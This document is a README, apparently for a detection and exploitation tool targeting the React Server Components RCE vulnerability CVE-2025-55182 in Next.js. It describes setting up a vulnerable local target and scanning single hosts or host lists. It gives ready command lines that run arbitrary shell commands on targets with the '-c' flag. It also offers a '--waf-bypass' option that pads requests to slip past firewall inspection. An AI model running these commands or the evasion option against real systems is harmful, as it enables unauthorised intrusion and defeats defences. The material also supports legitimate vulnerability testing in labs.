
CVE-2025-55182(React Server Components 反序列化远程代码执行漏洞)
| 구성 요소 | 재현 권장 버전 | 취약한 버전 범위 |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) 이상 |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 또는 19.2.0 | 19.0.0 ~ 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 ~ 19.2.0 |
낮은 버전 강제 설치
cd cve-2025-55182-target
npm install --force
의존성 버전 확인
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
최상위 의존성 목록에 [email protected] 및 [email protected]이 표시되면 환경이 취약한 상태로 성공적으로 고정된 것이므로, 여기서의 경고 및 오류 코드는 무시하십시오.
빌드:
npm run build
실행:
npm start
서버는 http://localhost:3000에서 수신합니다. 환경 설정이 완료되었으며, 취약점 검증을 시작할 수 있습니다.
취약점 탐지/스캔:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Next.js 애플리케이션에서 React Server Components(RSC) 취약점 CVE-2025-55182 및 CVE-2025-66478을 탐지하는 명령줄 도구입니다.
취약점 기술 세부사항 및 탐지 방법에 대한 자세한 내용은 당사의 블로그 게시물을 참조하십시오: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
기본적으로 스캐너는 결정적 수학 연산(41*271 = 11111)을 수행하는 RCE 검증 페이로드가 포함된 특수하게 조작된 multipart POST 요청을 전송합니다. 취약한 호스트는 X-Action-Redirect 응답 헤더에 /login?a=11111 형태로 계산 결과를 반환합니다.
스캐너는 먼저 루트 경로를 테스트합니다. 루트 경로에 취약점이 없는 경우, 동일 출처 리디렉션(예: /에서 /en/으로)을 따라가 리디렉션 대상을 테스트합니다. 교차 출처 리디렉션은 따르지 않습니다.
--safe-check 플래그를 사용하면 안전 탐지 모드가 활성화됩니다. 이 방법은 대상에서 코드를 실행하지 않고 부수적 신호(예: 500 상태 코드 및 특정 오류 요약)에 의존합니다. RCE 실행을 원하지 않을 때 이 모드를 사용하십시오.
--waf-bypass 플래그를 사용하면 멀티파트 요청 본문 앞에 임의의 잡음 데이터가 추가됩니다. 이는 요청 본문의 앞부분만 분석하는 WAF 탐지를 우회하는 데 도움이 됩니다. 기본 크기는 128KB이며, --waf-bypass-size로 구성할 수 있습니다. WAF 우회를 활성화하면 명시적으로 설정하지 않는 한 타임아웃이 자동으로 20초로 증가합니다.
--windows 플래그를 사용하면 페이로드가 Unix 셸(echo $((41*271)))에서 PowerShell(powershell -c "41*271")로 전환되어 Windows에서 실행되는 대상에 적합합니다.
pip install -r requirements.txt
단일 호스트 스캔:
python3 scanner.py -u https://example.com
호스트 목록 스캔:
python3 scanner.py -l hosts.txt
멀티스레드 스캔 및 결과 저장:
python3 scanner.py -l hosts.txt -t 20 -o results.json
사용자 정의 요청 헤더로 스캔:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
안전 우회 탐지 사용:
python3 scanner.py -u https://example.com --safe-check
Windows 대상 스캔:
python3 scanner.py -u https://example.com --windows
WAF 우회 스캔 사용:
python3 scanner.py -u https://example.com --waf-bypass
RCE 명령 실행:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url 확인할 단일 URL
-c, --cmd 실행할 명령어
-l, --list 호스트 목록 파일 (한 줄에 하나씩)
-t, --threads 동시 스레드 수 (기본: 10)
--timeout 요청 제한 시간 (초, 기본: 10)
-o, --output 결과를 저장할 출력 파일 (JSON 형식)
--all-results 취약한 호스트뿐만 아니라 모든 결과 저장
-k, --insecure SSL 인증서 검증 비활성화
-H, --header 사용자 정의 요청 헤더 (여러 번 사용 가능)
-v, --verbose 취약한 호스트의 응답 세부 정보 표시
-q, --quiet 취약한 호스트만 출력
--no-color 컬러 출력 비활성화
--safe-check RCE PoC 대신 안전한 부수적 탐지 사용
--windows Unix 셸 대신 Windows PowerShell 페이로드 사용
--waf-bypass WAF 콘텐츠 탐지를 우회하기 위해 잡음 데이터 추가
--waf-bypass-size 잡음 데이터 크기 (KB, 기본: 128)
RCE PoC는 @maple3142에 의해 처음 공개적으로 공개되었습니다. 사용 가능한 PoC를 게시해 주신 것에 대해 깊이 감사드립니다.
이 도구는 원래 이 RCE를 안전하게 탐지하기 위해 구축되었습니다. 이 기능은 --safe-check 안전 탐지 모드를 통해 계속 사용할 수 있습니다.
결과는 터미널에 출력됩니다. -o 인수를 사용하면 취약한 호스트가 전체 HTTP 요청 및 응답과 함께 JSON 파일로 저장되어 검증할 수 있습니다.